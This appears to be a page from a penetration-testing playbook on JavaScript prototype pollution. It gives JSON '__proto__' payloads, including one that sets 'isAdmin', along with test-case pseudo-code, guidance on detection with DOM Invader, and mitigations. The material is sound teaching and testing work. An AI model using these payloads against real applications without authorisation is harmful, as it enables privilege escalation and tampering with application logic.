PenTest Playbook
  • Welcome!
  • Web App Pentesting
    • SQL Injection
    • NoSQL Injection
    • XSS
    • CSRF
    • SSRF
    • XXE
    • IDOR
    • SSTI
    • Broken Access Control/Privilege Escalation
    • Open Redirect
    • File Inclusion
    • File Upload
    • Insecure Deserialization
      • XMLDecoder
    • LDAP Injection
    • XPath Injection
    • JWT
    • Parameter Pollution
    • Prototype Pollution
    • Race Conditions
    • CRLF Injection
    • LaTeX Injection
    • CORS Misconfiguration
    • Handy Commands & Payloads
  • Active Directory Pentest
    • Domain Enumeration
      • User Enumeration
      • Group Enumeration
      • GPO & OU Enumeration
      • ACLs
      • Trusts
      • User Hunting
    • Domain Privilege Escalation
      • Kerberoast
        • AS-REP Roast (Kerberoasting)
        • CRTP Lab 14
      • Targeted Kerberoasting
        • AS-REP Roast
        • Set SPN
      • Kerberos Delegation
        • Unconstrained Delegation
          • CRTP Lab 15
        • Constrained Delegation
          • CRTP Lab 16
        • Resource Based Constrained Delegation (RBCD)
          • CRTP Lab 17
      • Across Trusts
        • Child to Parent (Cross Domain)
          • Using Trust Tickets
            • CRTP Lab 18
          • Using KRBTGT Hash
            • CRTP Lab 19
        • Cross Forest
          • Lab 20
        • AD CS (Across Domain Trusts)
          • ESC1
            • CRTP Lab 21
        • Trust Abuse - MSSQL Servers
          • CRTP Lab 22
    • Lateral Movement
      • PowerShell Remoting
      • Extracting Creds, Hashes, Tickets
      • Over-PassTheHash
      • DCSync
    • Evasion
      • Evasion Cheetsheet
    • Persistence
      • Golden Ticket
        • CRTP Lab 8
      • Silver Ticket
        • CRTP Lab 9
      • Diamond Ticket
        • CRTP Lab 10
      • Skeleton Key
      • DSRM
        • CRTP Lab 11
      • Custom SSP
      • Using ACLs
        • AdminSDHolder
        • Rights Abuse
          • CRTP Lab 12
        • Security Descriptors
          • CRTP Lab 13
    • Tools
    • PowerShell
  • AI Security
    • LLM Security Checklist
    • GenAI Vision Security Checklist
    • Questionnaire for AI/ML/GenAI Engineering Teams
  • Network Pentesting
    • Information Gathering
    • Scanning
    • Port/Service Enumeration
      • 21 FTP
      • 22 SSH
      • 25, 465, 587 SMTP
      • 53 DNS
      • 80, 443 HTTP/s
      • 88 Kerberos
      • 135, 593 MSRPC
      • 137, 138, 139 NetBios
      • 139, 445 SMB
      • 161, 162, 10161, 10162/udp SNMP
      • 389, 636, 3268, 3269 LDAP
      • Untitled
      • Page 14
      • Page 15
      • Page 16
      • Page 17
      • Page 18
      • Page 19
      • Page 20
    • Nessus
    • Checklist
  • Mobile Pentesting
    • Android
      • Android PenTest Setup
      • Tools
    • iOS
  • DevSecOps
    • Building CI Pipeline
    • Threat Modeling
    • Secure Coding
      • Code Review Examples
        • Broken Access Control
        • Broken Authentication
        • Command Injection
        • SQLi
        • XSS
        • XXE
        • SSRF
        • SSTI
        • CSRF
        • Insecure Deserialization
        • XPath Injection
        • LDAP Injection
        • Insecure File Uploads
        • Path Traversal
        • LFI
        • RFI
        • Prototype Pollution
        • Connection String Injection
        • Sensitive Data Exposure
        • Security Misconfigurations
        • Buffer Overflow
        • Integer Overflow
        • Symlink Attack
        • Use After Free
        • Out of Bounds
      • C/C++ Secure Coding
      • Java/JS Secure Coding
      • Python Secure Coding
  • Malware Dev
    • Basics - Get detected!
    • Not so easy to stage!
    • Base64 Encode Shellcode
    • Caesar Cipher (ROT 13) Encrypt Shellcode
    • XOR Encrypt Shellcode
    • AES Encrypt Shellcode
  • Handy
    • Reverse Shells
    • Pivoting
    • File Transfers
    • Tmux
  • Wifi Pentesting
    • Monitoring
    • Cracking
  • Buffer Overflows
  • Cloud Security
    • AWS
    • GCP
    • Azure
  • Container Security
  • Todo
Powered by GitBook
On this page
  1. Web App Pentesting

Prototype Pollution

Description

Prototype Pollution occurs when an attacker can inject properties into the prototype of an object, leading to unintended behavior or security vulnerabilities. This type of attack can affect applications that extend or manipulate JavaScript objects.

Example with Scenario

Scenario: A web application uses user input to create new object properties. An attacker can manipulate the input to modify the prototype of built-in objects, potentially executing arbitrary code or altering application logic.

Payloads and Test Cases

Payloads

  1. Adding a Property:

    {
      "__proto__": {
        "isAdmin": true
      }
    }
  2. Modifying an Existing Property:

    {
      "__proto__": {
        "toString": "function() { return 'hacked'; }"
      }
    }
  3. Nested Property Injection:

    {
      "__proto__": {
        "nested": {
          "polluted": "yes"
        }
      }
    }

Test Cases

  1. Adding a Property:

    • Payload:

      {
        "__proto__": {
          "isAdmin": true
        }
      }
    • Test Case:

      // Send payload to the server
      sendPayloadToServer({
        "__proto__": {
          "isAdmin": true
        }
      });
      // Verify if the application processes the injected property
      checkIfAdminPrivilegesGranted();
  2. Modifying an Existing Property:

    • Payload:

      {
        "__proto__": {
          "toString": "function() { return 'hacked'; }"
        }
      }
    • Test Case:

      // Send payload to the server
      sendPayloadToServer({
        "__proto__": {
          "toString": "function() { return 'hacked'; }"
        }
      });
      // Verify if the application uses the modified toString method
      checkToStringMethod("hacked");
  3. Nested Property Injection:

    • Payload:

      {
        "__proto__": {
          "nested": {
            "polluted": "yes"
          }
        }
      }
    • Test Case:

      // Send payload to the server
      sendPayloadToServer({
        "__proto__": {
          "nested": {
            "polluted": "yes"
          }
        }
      });
      // Verify if the application recognizes the nested polluted property
      checkNestedProperty("nested.polluted", "yes");

Detection and Exploitation with DOM Invader

  1. Detection:

    • Use Burp Suite's DOM Invader tool to identify vulnerable spots in the application.

    • Look for points where user input directly influences object properties or prototype chains.

  2. Exploitation:

    • Use the identified injection points to craft malicious payloads that modify object prototypes.

    • Test the payloads to see if they lead to security vulnerabilities or application logic changes.

Mitigation

  1. Input Validation:

    • Validate and sanitize user input to ensure it does not contain malicious characters.

    • Reject input that attempts to modify object prototypes (e.g., containing __proto__, constructor, prototype).

  2. Use Object.create(null):

    • Use Object.create(null) to create objects without a prototype.

    • Avoid extending or modifying native object prototypes.

  3. Deep Clone Objects:

    • Use deep cloning techniques to prevent prototype pollution when merging objects.

    • Implement secure methods for object manipulation.

  4. Security Libraries:

    • Use security libraries and frameworks that provide built-in protection against prototype pollution.

    • Enable and configure security features to prevent injection vulnerabilities.

PreviousParameter PollutionNextRace Conditions

Last updated 10 months ago